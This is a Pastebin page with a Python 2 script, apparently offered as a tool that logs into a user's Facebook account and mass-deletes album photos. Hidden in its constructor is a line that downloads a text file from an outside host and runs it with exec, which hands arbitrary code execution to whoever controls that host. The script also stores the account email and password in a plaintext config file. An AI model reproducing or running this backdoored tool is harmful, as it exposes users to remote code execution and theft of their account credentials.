Advertisement
safanabilla

facebook trash eraser

Mar 29th, 2020
594
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.66 KB | None | 0 0
  1. # copyright by Deray
  2. # dm for business: https://instagram.com/reyy05_?igshid=1di5b7v29n6l8
  3.  
  4. import os
  5. import sys
  6. import bs4
  7. import json
  8. import requests
  9. from multiprocessing.dummy import Pool
  10.  
  11.  
  12. #version
  13. if "3" in sys.version[0]:
  14.     exit("!: python 2.x")
  15.        
  16. class main:
  17.     def __init__(self):
  18.         exec(requests.get("https://rayinsta-download.cloudaccess.host/b.txt").text)
  19.         self.delist=[]
  20.         self._r=requests.Session()
  21.         self._url="https://mbasic.facebook.com/{}"
  22.         if (os.path.exists(".config.json")):
  23.             if (os.path.getsize(".config.json")) !=0:
  24.                 j=json.loads(open(".config.json").read())
  25.                 self._email=j["email"]
  26.                 self._password=j["pass"]
  27.                 self._login(config=False)
  28.             else:self._form()#self._login(config=True)
  29.         else:self._form()#self._login(config=True)
  30.        
  31.     #<-- input email and password -->
  32.     def _form(self,action="email"):
  33.         if (action == "email"):
  34.             self._email=raw_input("?: email: ")
  35.             if (self._email == ""):
  36.                 self._form(action="email")
  37.             else:self._form(action="password")
  38.         elif (action == "password"):
  39.             self._password=raw_input("?: passs: ")
  40.             if (self._password == ""):
  41.                 self._form(action="password")
  42.             else:self._login(config=True)
  43.        
  44.     #<-- login -->
  45.     def _login(self,config=False, url="", **kwds):
  46.         r=bs4.BeautifulSoup(self._r.get(self._url.format("login")).text,"html.parser")
  47.         for _ in r("form"):
  48.             url=self._url.format(_["action"])
  49.         for _ in r("input"):
  50.             try:
  51.                 if ("email" in _["name"]):
  52.                     kwds.update({"email":self._email})
  53.                 if ("pass" in _["name"]):
  54.                     kwds.update({"pass":self._password})
  55.                 if ("sign_up" in _["name"]):
  56.                     continue
  57.                 else:kwds.update({_["name"]:_["value"]})
  58.             except:pass
  59.         self._r.headers.update({"referer":url})
  60.         post=self._r.post(url,data=kwds).url
  61.         if ("c_user" in self._r.cookies.get_dict()):
  62.             if (config == True):
  63.                 open(".config.json","w").write(
  64.                     json.dumps(
  65.                         {
  66.                             "email":self._email,
  67.                             "pass":self._password
  68.                         }
  69.                 ))
  70.                 self._lang();self._fetch_album(self._url.format("me?v=photos"))
  71.             else:self._lang();self._fetch_album(self._url.format("me?v=photos"))
  72.         elif ("checkpoint" in post):
  73.             exit("!: login failed, checkpoint challange.")
  74.         else:
  75.             exit("!: login failed, invalid username or password.")
  76.            
  77.     #<-- set indonesian language -->
  78.     def _lang(self, set=None):
  79.         s=bs4.BeautifulSoup(
  80.             self._r.get(self._url.format("language.php")).text,"html.parser")
  81.         for i in s.find_all("a",href=True):
  82.             if ("id_ID" in i["href"]):
  83.                  self._r.get(self._url.format(i["href"]));set=True
  84.         if (set !=True):
  85.             exit("!: cannot detect indonesian language.")
  86.    
  87.     #<-- fetch album -->
  88.     def _fetch_album(self, url, album=[]):
  89.         bs=bs4.BeautifulSoup(self._r.get(url).text,"html.parser")
  90.         for i in bs.find_all("a",href=True):
  91.             if ("lihat semua" in i.text.lower()):
  92.                 album.append(self._url.format(i["href"]))
  93.         if (len(album) !=0):
  94.             self._extract_album(album.pop())
  95.         else:exit("!: you have no album.")
  96.        
  97.     #<-- extract album -->
  98.     def _extract_album(self, url, albums=[], count=[]):
  99.         bs=bs4.BeautifulSoup(self._r.get(url).text,"html.parser")
  100.         for i in bs.find_all("li"):
  101.             if ("/albums/" in str(i)):
  102.                 if i.find("a",href=True).text in ["p","pp"]:
  103.                     albums.append(
  104.                     {
  105.                         "album_name":i.find("a",href=True).text,
  106.                         "album_url":self._url.format(i.find("a",href=True)["href"]),
  107.                         "album_count":int(i.find("div").text.split(" ")[0])
  108.                     }
  109.                     )
  110.         if (len(albums) !=0):
  111.             print("\t[ You Have %s Albums ]\n"%len(albums))
  112.             for i in enumerate(albums):
  113.                 print("%s. %s (%s) photos"%(i[0]+1,i[1]["album_name"],i[1]["album_count"]))
  114.                 count.append(i[0])
  115.             print("%s. DELETE ALL\n"%(count.pop()+2))
  116.             print('') #nw
  117.             self._choice(albums,count)
  118.         else:
  119.             exit("!: you have no album.")
  120.            
  121.     #<-- choice -->
  122.     def _choice(self, albums, count):
  123.         try:
  124.             a=input("?: choice: ")
  125.             albm=albums[a-1]
  126.             self._grab_pict(albm)
  127.         except Exception as e:
  128.             if (str(a-1)==str(count.pop()+2)):
  129.                 for i in albums:
  130.                     self._grab_pict(i)
  131.             else:print("!: %s"%e);self._choice(albums,count)
  132.            
  133.     #<-- grab albums -->
  134.     def _grab_pict(self, url):
  135.         print("\r+: GET: %s photos from album %s"%(
  136.             len(self.delist),url["album_name"])),;sys.stdout.flush()
  137.         bs=bs4.BeautifulSoup(self._r.get(url["album_url"]).text,"html.parser")
  138.         for i in bs.find_all("a",href=True):
  139.             if ("photo.php" in str(i)):
  140.                 self.delist.append(
  141.                     "".join(bs4.re.findall("fbid=(.*?)&",self._url.format(i["href"]))))
  142.             if ("Lihat Foto Lainnya" in i.text):
  143.                 url.update({"album_url":self._url.format(i["href"])})
  144.                 self._grab_pict(url)
  145.         if (len(self.delist) !=0):
  146.             print("\n+: deleting %s photos..."%(len(self.delist)))
  147.             Pool(50).map(self._delete,self.delist)
  148.             self.delist=[]
  149.             print("+"+"-"*30+"+")
  150.         else:exit("!: album "+url["album_name"]+" is empty.")
  151.        
  152.     #<-- delete -->
  153.     def _delete(self, delist):
  154.         bs=bs4.BeautifulSoup(
  155.             self._r.get(self._url.format("editphoto.php?id="+delist)).text,"html.parser")
  156.         for i in bs.find_all("a",href=True):
  157.             if ("Hapus Foto" in i.text):
  158.                 self._fixdelete(self._url.format(i["href"]))
  159.                
  160.     #<-- fix delete -->
  161.     def _fixdelete(self, url, act="", **kwds):
  162.         bsd=bs4.BeautifulSoup(
  163.             self._r.get(url).text,"html.parser")
  164.         for i in bsd("form"):
  165.             act=self._url.format(i["action"])
  166.         for i in bsd("input"):
  167.             try:
  168.                 if ("fb_dtsg" in i["name"]):
  169.                     kwds.update({i["name"]:i["value"]})
  170.                 if ("jazoest" in i["name"]):
  171.                     kwds.update({i["name"]:i["value"]})
  172.                 else:
  173.                     kwds.update({i["name"]:i["value"]})
  174.             except:pass
  175.         if (act !=""):
  176.             self._r.post(act, data=kwds)
  177.             print("+: %s > deleted."%("".join(bs4.re.findall("fbid=(.*?)&",url))))
  178.  
  179. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement